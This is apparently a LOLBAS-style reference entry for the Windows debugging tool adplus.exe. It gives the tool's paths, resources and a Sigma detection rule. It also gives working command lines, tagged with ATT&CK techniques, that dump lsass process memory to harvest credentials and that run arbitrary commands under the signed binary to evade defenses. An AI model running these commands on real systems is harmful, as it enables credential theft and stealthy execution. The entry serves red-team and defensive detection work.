

.. /adplus.exe

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Debugging tool included with Windows Debugging Tools

Paths:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\adplus.exe

C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\adplus.exe

Resources:

- <https://mrd0x.com/adplus-debugging-tool-lsass-dump/>
- https://twitter.com/nas_bench/status/1534916659676422152
- https://twitter.com/nas_bench/status/1534915321856917506

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- mr.d0x ([@mrd0x](#))
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Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml
- IOC: As a Windows SDK binary, execution on a system may be suspicious

Dump

. Creates a memory dump of the lsass process

```
adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet
```

Use case: Create memory dump and parse it offline

Privileges required: SYSTEM

Operating systems: All Windows

ATT&CK® technique: T1003.001

. Dump process memory using adplus config file (see Resources section for a sample file).

```
adplus.exe -c config-adplus.xml
```

Use case: Run commands under a trusted Microsoft signed binary

Privileges required: SYSTEM

Operating systems: All Windows

ATT&CK® technique: T1003.001

Execute

. Execute arbitrary commands using adplus config file (see Resources section for a sample file).

```
adplus.exe -c config-adplus.xml
```

Use case: Run commands under a trusted Microsoft signed binary
Privileges required: User
Operating systems: All Windows
ATT&CK® technique: T1127

. Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.

```
adplus.exe -crash -o "C:\temp\" -sc calc.exe
```

Use case: Run commands under a trusted Microsoft signed binary
Privileges required: User
Operating systems: All windows
ATT&CK® technique: T1127